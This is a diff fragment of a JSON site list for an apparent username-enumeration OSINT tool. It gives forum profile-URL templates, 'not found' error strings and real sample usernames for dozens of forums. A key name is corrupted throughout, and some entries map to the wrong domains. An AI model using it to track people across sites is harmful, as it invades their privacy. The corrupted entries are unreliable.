+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.tanknet.org/index.php?/search/&q={}&quick=1&type=core_members",
+ "urlMain": "https://www.tanknet.org",
+ "usernameON": "bojan",
+ "bad_site": ""
+ },
+ "Forum_taragorod": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://taragorod.ru/index/8-0-{}",
+ "urlMain": "https://taragorod.ru",
+ "usernameON": "unlockserver",
+ "bad_site": ""
+ },
+ "Forum_tarjaturunen": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://tarjaturunen.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://tarjaturunen.ucoz.ru",
+ "usernameON": "timoxa",
+ "bad_site": ""
+ },
+ "Forum_taro": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "url": "https://www.taro.lv/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://www.taro.lv",
+ "usernameON": "Cha",
+ "bad_site": ""
+ },
+ "Forum_tarokus": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://tarokus.ru/index/8-0-{}",
+ "urlMain": "http://tarokus.ru",
+ "usernameON": "pridorozhniy",
+ "comments": "Oplata",
+ "bad_site": ""
+ },
+ "Forum_tarot": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "url": "http://tarot.my1.ru/index/8-0-{}",
+ "urlMain": "http://tarot.my1.ru",
+ "usernameON": "seklimqwdal",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_tarot-siberia": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "url": "https://tarot-siberia.ru/index/8-0-{}",
+ "urlMain": "https://tarot-siberia.ru",
+ "usernameON": "Lila",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_taruska": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://www.taruska.ru/index/8-0-{}",
+ "urlMain": "http://www.taruska.ru",
+ "usernameON": "kuhni30",
+ "bad_site": ""
+ },
+ "Forum_tatfish": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "url": "http://forum.tatfish.com/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://forum.tatfish.com",
+ "usernameON": "Krilov",
+ "bad_site": ""
+ },
+ "Forum_tathunter": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "url": "http://forum.tathunter.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://forum.tathunter.ru",
+ "usernameON": "ramon",
+ "bad_site": ""
+ },
+ "Forum_tattle": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://tattle.life/members/?username={}",
+ "urlMain": "https://tattle.life",
+ "usernameON": "chita",
+ "bad_site": ""
+ },
+ "Forum_tauck": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://forums.tauck.com/profile/{}",
+ "urlMain": "https://forums.tauck.com",
+ "usernameON": "billzappa",
+ "bad_site": ""
+ },
+ "Forum_taycan": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.taycanforum.com/forum/members/?username={}",
+ "urlMain": "https://www.taycanforum.com",
+ "usernameON": "f1eng",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_taycanev": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.taycanevforum.com/members/?username={}",
+ "urlMain": "https://www.taycanevforum.com",
+ "usernameON": "hz1946",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_tbrus": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://tbrus.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://tbrus.ucoz.ru",
+ "usernameON": "aktotytusipkalieva",
+ "bad_site": ""
+ },
+ "Forum_tdiclub": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forums.tdiclub.com/index.php&members/?username={}",
+ "urlMain": "https://forums.tdiclub.com",
+ "usernameON": "matthew16",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_team-pros": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://team-pros.3dn.ru/index/8-0-{}",
+ "urlMain": "https://team-pros.3dn.ru",
+ "usernameON": "leifwoolned",
+ "bad_site": ""
+ },
+ "Forum_tebepolezno": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "url": "https://tebepolezno.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://tebepolezno.ucoz.ru",
+ "usernameON": "Wtgrljya",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_techclan_planeta2": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://techclan.planeta2.org/index/8-0-{}",
+ "urlMain": "http://techclan.planeta2.org",
+ "usernameON": "youmather",
+ "bad_site": ""
+ },
+ "Forum_techenclave": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://techenclave.com/members/?username={}",
+ "urlMain": "https://techenclave.com",
+ "usernameON": "jacob909",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_techguy": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.techguy.org/members/?username={}",
+ "urlMain": "https://www.techguy.org",
+ "usernameON": "novictory",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_techist": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.techist.com/forums/members/?username={}",
+ "urlMain": "https://www.techist.com",
+ "usernameON": "benefitspils3",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_technofino": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://technofino.in/community/members/?username={}",
+ "urlMain": "https://technofino.in",
+ "usernameON": "abhishek012",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_techsupport": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.techsupportforum.com/members/?username={}",
+ "urlMain": "https://www.techsupportforum.com",
+ "usernameON": "masterchiefxx17",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_teckelfriends": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://telesat-news.net/index/8-0-{}",
+ "urlMain": "https://telesat-news.net/",
+ "usernameON": "peresihne",
+ "bad_site": ""
+ },
+ "Forum_tellopilots": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://tellopilots.com/members/?username={}",
+ "urlMain": "https://tellopilots.com",
+ "usernameON": "cougare",
+ "comments": "RUblock",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_tenews": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://teron.at.ua/index/8-0-{}",
+ "urlMain": "https://teron.at.ua",
+ "usernameON": "nieminenmik",
+ "bad_site": ""
+ },
+ "Forum_terraforum": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.terraforum.net/member.php?username={}",
+ "urlMain": "https://www.terraforum.net",
+ "usernameON": "mcdonald",
+ "comments": "bad",
+ "bad_site": ""
+ },
+ "Forum_terror62": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://terror62.ru/index/8-0-{}",
+ "urlMain": "http://terror62.ru",
+ "usernameON": "Trotskiy",
+ "comments": "Oplata",
+ "bad_site": ""
+ },
+ "Forum_terrylove": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://terrylove.com/forums/index.php?members/&username={}",
+ "urlMain": "https://terrylove.com",
+ "usernameON": "arisonpump",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_tezosagora": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://forum.tezosagora.org/u/{}/summary",
+ "urlMain": "https://forum.tezosagora.org",
+ "usernameON": "kevinmehrabi",
+ "bad_site": ""
+ },
+ "Forum_TG": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://tgforum.ru/members/?username={}",
+ "urlMain": "https://tgforum.ru",
+ "usernameON": "grigorii",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_thaidog": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://the-brinkoftime.ru/index/8-0-{}",
+ "urlMain": "http://the-brinkoftime.ru",
+ "usernameON": "Kardinal",
+ "bad_site": ""
+ },
+ "Forum_the-covenant": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://the-covenant.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://the-covenant.ucoz.ru",
+ "usernameON": "Gwynbleidd",
+ "bad_site": ""
+ },
+ "Forum_the-sunny": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://the-sunny.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://the-sunny.ucoz.ru",
+ "usernameON": "Sejlin",
+ "bad_site": ""
+ },
+ "Forum_thebassbarn": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.thebassbarn.com/members/?username={}",
+ "urlMain": "https://www.thebassbarn.com/",
+ "usernameON": "hardtop",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_thebenchtrading": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://thebenchtrading.com/members/?username={}",
+ "urlMain": "https://thebenchtrading.com/",
+ "usernameON": "dragonslayer913",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_thebrownsboard": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.thebrownsboard.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://www.thebrownsboard.com",
+ "usernameON": "calfoxwc",
+ "bad_site": ""
+ },
+ "Forum_thecatsite": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://thecatsite.com/members/?username={}",
+ "urlMain": "https://thecatsite.com",
+ "usernameON": "stefanz",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_thecoding": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.thecodingforums.com/members/?username={}",
+ "urlMain": "https://www.thecodingforums.com/",
+ "usernameON": "nataliayou",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_thecomicboard": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.thecomicboard.com/members/?username={}",
+ "urlMain": "https://www.thecomicboard.com",
+ "usernameON": "selfishmisery",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_thedaobums": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "exclusion": "\\W[а-яА-Я]",
+ "errorMsg": "0 results",
+ "errorMsg2": "Not found",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.thedaobums.com/search/?&q={}&type=core_members",
+ "urlMain": "https://www.thedaobums.com",
+ "usernameON": "Maddie",
+ "bad_site": ""
+ },
+ "Forum_thedarkmod": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forums.thedarkmod.com/index.php?/search/&q={}&quick=1&type=core_members",
+ "urlMain": "https://forums.thedarkmod.com",
+ "usernameON": "greebo",
+ "bad_site": ""
+ },
+ "Forum_thedarts": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No members found",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.thedartsforum.com/memberlist.php?username={}",
+ "urlMain": "https://www.thedartsforum.com",
+ "usernameON": "ChrisW",
+ "bad_site": ""
+ },
+ "Forum_theden": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://thedenforum.com/u/{}/summary",
+ "urlMain": "https://thedenforum.com",
+ "usernameON": "weaselpuppy",
+ "bad_site": ""
+ },
+ "Forum_thedieselgarage": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.thedieselgarage.com/members/?username={}",
+ "urlMain": "https://www.thedieselgarage.com",
+ "usernameON": "carid",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_thedieselstop": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.thedieselstop.com/members/?username={}",
+ "urlMain": "https://www.thedieselstop.com",
+ "usernameON": "bugman",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_thedoctorwho": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://www.thedoctorwhoforum.com/members/{}/",
+ "urlMain": "https://www.thedoctorwhoforum.com",
+ "usernameON": "ps1l0v3y0u",
+ "bad_site": ""
+ },
+ "Forum_thefappeningblog": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://thefappeningblog.com/forum/members/?username={}",
+ "urlMain": "https://thefappeningblog.com",
+ "usernameON": "peterwebb",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_thefedoralounge": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.thefedoralounge.com/members/?username={}",
+ "urlMain": "https://www.thefedoralounge.com",
+ "usernameON": "kblake",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_thefewgoodmen": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.thefewgoodmen.com/thefgmforum/members/?username={}",
+ "urlMain": "https://www.thefewgoodmen.com",
+ "usernameON": "bootie",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_thefinalfantasy": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "This user has not registered",
+ "errorMsg2": "STANDARD_ERROR",
+ "errorMsg3": "content=\"final fantasy,",
+ "errorTyp��": "message",
+ "url": "https://thefinalfantasy.net/forums/members/{}/",
+ "urlMain": "https://thefinalfantasy.net",
+ "usernameON": "fuzz",
+ "bad_site": ""
+ },
+ "Forum_thefirearms": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.thefirearmsforum.com/members/?username={}",
+ "urlMain": "https://www.thefirearmsforum.com",
+ "usernameON": "alpo",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_theflooring": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://theflooringforum.com/members/?username={}",
+ "urlMain": "https://theflooringforum.com",
+ "usernameON": "dazlight",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_thefootballforum": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.thefootballforum.net/members/?username={}",
+ "urlMain": "https://www.thefootballforum.net",
+ "usernameON": "oakroader",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_thegambling": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "Unavailable ",
+ "errorTyp��": "message",
+ "url": "https://thegamblingcommunity.com/forum/index.php?/search/&q={}&quick=1&type=core_members",
+ "urlMain": "https://thegamblingcommunity.com/",
+ "usernameON": "howfin",
+ "bad_site": ""
+ },
+ "Forum_thegradcafe": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://forum.thegradcafe.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://forum.thegradcafe.com",
+ "usernameON": "admin",
+ "bad_site": ""
+ },
+ "Forum_thegreenliving": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No results",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://permies.com/forums/jforum?module=search&action=search&forum_id=-1&search_keywords=&match_type=all&search_in=ALL&forum=&groupByTopic=true&sort_by=time&sort_dir=DESC&search_date=ALL&member_number=&member_first_name={}&member_last_name=&member_match_type=memberPosted",
+ "urlMain": "https://permies.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Forum_thegtaplace": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": " 0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://thegtaplace.com/forums/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://thegtaplace.com",
+ "usernameON": "chuken",
+ "bad_site": ""
+ },
+ "Forum_thehomebrew": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.thehomebrewforum.co.uk/members/?username={}",
+ "urlMain": "https://www.thehomebrewforum.co.uk",
+ "usernameON": "mashbag",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_thehuddle": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorMsg": "Please wait",
+ "errorMsg2": "0 results",
+ "errorTyp��": "message",
+ "url": "https://forums.thehuddle.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://forums.thehuddle.com",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Forum_theislamicquotes": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forum.theislamicquotes.com/members/?username={}",
+ "urlMain": "https://forum.theislamicquotes.com",
+ "usernameON": "awanromesa",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_theknot": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forums.theknot.com/profile/{}",
+ "urlMain": "https://forums.theknot.com",
+ "usernameON": "mrsconn23",
+ "bad_site": ""
+ },
+ "Forum_thektog": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.thektog.org/members/?username={}",
+ "urlMain": "https://www.thektog.org",
+ "usernameON": "editor",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_thelaw": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.thelaw.com/members/?username={}",
+ "urlMain": "https://www.thelaw.com",
+ "usernameON": "zddoodah",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_themodernfilmmaker": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://www.themodernfilmmaker.com/ru/profile/{}/profile",
+ "urlMain": "https://www.themodernfilmmaker.com",
+ "usernameON": "shadrachhanohano",
+ "bad_site": ""
+ },
+ "Forum_theohiooutdoors": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://theohiooutdoors.com/members/?username={}",
+ "urlMain": "https://theohiooutdoors.com",
+ "usernameON": "p8riot",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_theologyonline": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://theologyonline.com/members/?username={}",
+ "urlMain": "https://theologyonline.com",
+ "usernameON": "benavraham",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_theoutlander": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "url": "https://theoutlander.ru/index/8-0-{}",
+ "urlMain": "https://theoutlander.ru",
+ "usernameON": "talia",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_thepatriotwoodworker": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://thepatriotwoodworker.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://thepatriotwoodworker.com",
+ "usernameON": "frederickh",
+ "comments": "ZAK_user",
+ "bad_site": 1
+ },
+ "Forum_thephins": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.thephins.com/members/?username={}",
+ "urlMain": "https://www.thephins.com",
+ "usernameON": "dolphin25",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_thephoto": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.thephotoforum.com/members/?username={}",
+ "urlMain": "https://www.thephotoforum.com",
+ "usernameON": "sterk03",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_theprodigy": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь, чей профиль вы пытаетесь посмотреть, не существует.",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://forum.theprodigy.ru/index.php?board=13&action=viewprofile&user={}",
+ "urlMain": "https://forum.theprodigy.ru/",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Forum_thepw": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Найдено 0 результатов",
+ "errorMsg2": "По вашему запросу ничего не найдено",
+ "errorTyp��": "message",
+ "url": "http://forum.thepw.ru/index.php?/search/&q={}&type=core_members",
+ "urlMain": "http://forum.thepw.ru",
+ "usernameON": "thepwsupport",
+ "bad_site": ""
+ },
+ "Forum_therepair": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "title>Упс! Что-то пошло не так",
+ "errorMsg2": "Найдено 0 результатов",
+ "errorTyp��": "message",
+ "url": "https://therepair.ru/search/?&q={}",
+ "urlMain": "https://therepair.ru",
+ "usernameON": "Engineer",
+ "comments": "bad",
+ "bad_site": ""
+ },
+ "Forum_therpf": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.therpf.com/forums/members/?username={}",
+ "urlMain": "https://www.therpf.com",
+ "usernameON": "wayneb",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_thesandtrap": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorMsg": "0 results",
+ "errorMsg2": "Sorry, page not found",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://thesandtrap.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://thesandtrap.com",
+ "usernameON": "iacas",
+ "bad_site": ""
+ },
+ "Forum_thescienceforum": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "http://www.thescienceforum.com/member.php?username={}",
